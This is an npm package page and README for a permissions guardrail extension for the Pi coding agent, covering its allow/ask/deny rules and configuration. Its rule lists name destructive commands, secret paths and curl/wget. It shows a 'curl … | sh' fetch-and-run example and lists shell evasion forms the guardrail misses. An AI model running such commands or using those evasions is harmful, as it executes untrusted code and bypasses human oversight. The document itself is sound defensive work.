@pi-kit/permissions
Allow/ask/deny guardrail extension for the Pi coding agent. No third-party runtime dependencies.
Package details
Install @pi-kit/permissions from npm and Pi will load the resources declared by the package manifest.
$ pi install npm:@pi-kit/permissions- Package
@pi-kit/permissions- Version
0.4.0- Published
- Oct 25, 2026
- Downloads
- 1,002/mo · 26/wk
- Author
- j7an
- License
- MIT
- Types
- extension
- Size
- 57.5 KB
- Dependencies
- 1 dependency · 2 peers
Pi manifest JSON
{
"extensions": [
"./extensions"
]
}Security note
Pi packages can execute code and influence agent behavior. Review the source before installing third-party packages.
README
@pi-kit/permissions
An allow / ask / deny guardrail for the Pi coding agent's built-in tools. No third-party runtime dependencies, no build step, small enough to read before you install it. It guards against agent mistakes; it is not a sandbox (see Limitations).
Install
pi install npm:@pi-kit/permissions
Restart Pi. With no configuration, the defaults apply.
What it does
Every tool call resolves to one outcome:
- allow — the call runs.
- ask — you choose Allow once, Allow for this session,
Allow commands starting with "…" for this session (shell commands only),
Deny, or Deny with message…, which asks for a note and passes it to the model with
the block reason (an empty note is a plain Deny).
With no UI (
pi -p),askbecomesheadlessAsk, which defaults todeny. - deny — the call is blocked and the model is told which rule fired.
Rules match on four dimensions:
| Dimension | Matches | Pattern syntax |
|---|---|---|
bash |
the command of bash and powershell |
anchored; * matches anything, including spaces and / |
paths |
path inputs of the tools in paths.appliesTo |
anchored; * stays within a segment, ** crosses; ~ expands; relative patterns resolve against cwd; checked against the path as written and its absolute form |
tools |
the tool name | exact, or * |
outsideCwd |
any path outside cwd, for the tools in paths.appliesTo |
a single allow / ask / deny |
Configuration
JSON, one file per scope. Every key is optional.
| Scope | Path |
|---|---|
| Global | ~/.pi/agent/extensions/pi-kit-permissions.json (honours PI_CODING_AGENT_DIR) |
| Project | <cwd>/.pi/extensions/pi-kit-permissions.json, loaded only when the project is trusted |
Defaults
{
"defaultMode": "allow",
"headlessAsk": "deny",
"outsideCwd": "ask",
"tools": {},
"bash": {
"deny": ["rm -rf *", "git push --force*", "git reset --hard*"],
"ask": ["npm publish*", "git push*"],
"allow": []
},
"paths": {
"appliesTo": ["write", "edit"],
"deny": [".env", ".env.local", ".env.*.local", "**/.env", "**/.env.local"],
"ask": [
".github/**",
".git/**",
".pi/**",
".husky/**",
".vscode/**",
".npmrc",
"~/.bashrc",
"~/.bash_profile",
"~/.bash_login",
"~/.profile",
"~/.zshenv",
"~/.zshrc",
"~/.zprofile",
"~/.zlogin",
"~/.gitconfig",
"~/.config/git/config",
"~/.npmrc"
],
"allow": []
}
}
Under the defaults, read /etc/hosts is allowed (read is not in
appliesTo), write /etc/hosts asks, and write .env.example is allowed
(the deny patterns are deliberately narrow).
Writes under .git/ (hooks run as code) and .pi/ (project extensions and
this package's own project config) ask.
Writes under .husky/ and .vscode/, to .npmrc, and to shell, git and npm
config in your home folder also ask, including through shell redirects and tee.
Keys
| Key | Values | Meaning |
|---|---|---|
defaultMode |
allow ask deny |
Outcome when no rule matches |
headlessAsk |
allow deny |
What ask becomes with no UI |
outsideCwd |
allow ask deny |
Outcome for a path outside cwd; allow disables the check |
tools, bash |
{ deny, ask, allow } |
Pattern lists |
paths |
{ appliesTo, deny, ask, allow } |
appliesTo names the tools these rules and outsideCwd cover |
Combining scopes
Defaults, then global, then the trusted project file.
- Rule lists add up. No scope can remove an inherited rule.
- The global file overwrites scalars.
defaultMode,headlessAsk,outsideCwd, andpaths.appliesTotake the global value when it sets them. - A project can only tighten. Its scalars apply only when stricter than
the inherited value (
deny>ask>allow), and itspaths.appliesToadds tools rather than replacing the list. A looser value is ignored and named in the footer banner. Itsallowrules still apply. - To relax a global rule, edit the global file.
A file that fails to parse or validate contributes no rules, is named in a
footer banner, and forces defaultMode: ask and headlessAsk: deny for the
session. Fix it and start a new session.
Precedence
- Within a dimension, lists are checked
deny→ask→allow; the first match wins. Specificity is ignored:deny: ["git *"]beatsallow: ["git status"]. - Across dimensions, the most restrictive result wins:
deny>ask>allow. No match anywhere yieldsdefaultMode. - Compound commands (split on unquoted
&&,||,;,|,&, newline):denyandaskalso match each piece;allowmatches only the whole command. A piece can make the outcome stricter, never looser. Deny and ask also match each piece after collapsing whitespace and stripping leadingVAR=assignments and the wrapperstimeout,time,nice,nohup,stdbuf,command,builtin,noglob,env,sudo,doas.allowdoes not:allow: ["npm test"]does not covertimeout 30 npm test. Flag values after a wrapper are not skipped, sosudo -u root rm -rf xis not caught. Forrm, deny and ask also match a normalized form: short flags in any cluster or order and the long forms--recursiveand--force(-fr,-Rf,-r -f,--recursive --force) read asrm -rf. Abbreviated long options such as--recurare not recognised. - Shell path targets: redirect targets and the file arguments of
cat,head,tail,sedandteeare checked againstpaths.denyandpaths.askas the tool they imitate (>andtee= write,sed -i= edit, the rest = read), and only when that tool is inappliesTo. These checks can only make the outcome stricter. PathallowandoutsideCwddo not apply to them.
| Situation | Outcome |
|---|---|
bash.allow matches, defaultMode: deny |
allow |
tools.allow: ["write"], write /etc/hosts, outsideCwd: ask |
ask |
bash.deny matches one piece of a && b, bash.allow the other |
deny |
bash.allow: ["ls"], defaultMode: deny, command ls && curl x |
deny |
echo K=v >> .env under the defaults |
deny |
These rows are executed by test/decide.test.ts.
Session approvals
Allow for this session remembers the exact request (tool, command, paths as
written). For bash and powershell, Allow commands starting with "…"
remembers a prefix instead: the command name plus a subcommand-like second
word, so git push origin main offers git push. A prefix covers that prefix
followed by any arguments, but only when the command contains none of
; & | < > $ ` ( ) { } \, a newline or a carriage return; anything else
prompts as usual.
Approvals are saved in the Pi session file and restored on reload and resume
of that session, in the same directory; deleting the session deletes them.
Allow once and Deny are not saved. If saving fails, the approval still
applies, with a warning. Approvals are consulted only after the rules return
ask, so they never override a deny.
Status command
/permissions shows the settings in force, then each configuration layer
(built-in defaults, the global file, the project file) with its own rules and
the file's path and status: loaded, not found, invalid (ignored) or
untrusted (not read). It also lists the requests allowed for this session
and any config problems. It reflects the configuration loaded at session start,
appears in the chat, and is not sent to the model.
Recipes
Gate reads too:
{ "paths": { "appliesTo": ["read", "write", "edit", "ls", "grep", "find"] } }
Protect secrets outside the repo:
{ "paths": { "appliesTo": ["read", "write", "edit"], "deny": ["~/.ssh/**", "~/.aws/**"] } }
Ask before git and network operations:
{ "bash": { "ask": ["git push*", "git rebase*", "curl *", "wget *", "npm install*"] } }
Ask by default, allowing only these exact commands:
{
"defaultMode": "ask",
"bash": { "allow": ["ls", "git status", "git diff", "git log", "pnpm test"] }
}
Prefer complete commands in allow. A trailing * also matches chained
commands: ls* allows ls && curl https://example.com/script | sh unless a
deny or ask rule matches.
Limitations
This is a guardrail against agent mistakes, not a security boundary. For enforcement, run Pi in a container or an OS sandbox.
- Not caught: forms whose only purpose is evasion —
bash -c,eval,$(...), backticks,$VAR,/bin/rm,xargs,find -exec. - Not parsed: text inside subshells;
$HOMEin paths; a relative path aftercd(it still resolves against cwd);cp/mvdestinations; heredoc bodies, which are scanned like commands and can over-match; symlinks. - RPC clients receive
askas an extension UI request and must answer it; an unanswered request leaves the tool call waiting (cancel = deny).
Supported versions
Node 22.19 or newer. Pi: no minimum version; recent Pi releases are tested weekly — latest results.
Dependencies
None at runtime. @earendil-works/pi-coding-agent and typebox are optional
peers that Pi supplies; scanner alerts on them belong to the Pi host.
Licence
MIT